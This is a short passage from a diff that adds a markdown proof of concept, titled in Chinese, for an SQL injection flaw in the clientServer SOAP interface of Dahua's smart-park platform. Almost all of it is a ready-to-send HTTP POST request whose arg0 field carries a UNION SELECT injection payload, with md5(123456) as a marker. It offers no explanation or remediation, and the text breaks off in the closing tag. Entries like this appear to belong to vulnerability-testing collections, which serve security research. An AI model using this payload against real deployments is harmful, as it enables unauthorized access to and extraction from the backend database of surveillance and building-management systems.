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+## 大华智慧园区clientServer接口SQL注入漏洞
+
+
+## poc
+```
+POST /portal/services/clientServer HTTP/1.1
+Host:xxx
+User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+Content-Type: text/xml;charset=UTF-8
+
+<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cli="http://clientServer.webservice.dssc.dahua.com">
+  <soapenv:Header/>
+  <soapenv:Body>
+  <cli:getGroupInfoListByGroupId>
+    <!--type: string-->
+      <arg0>-5398) UNION ALL SELECT 5336,5336,5336,5336,md5(123456)-- -</arg0>
+    <!--type: long-->
+    <arg1>10</arg1>
+    </cli:getGroupInfoListByGroupId>
+    </soapenv:Body>
+  </soapenv:E
+```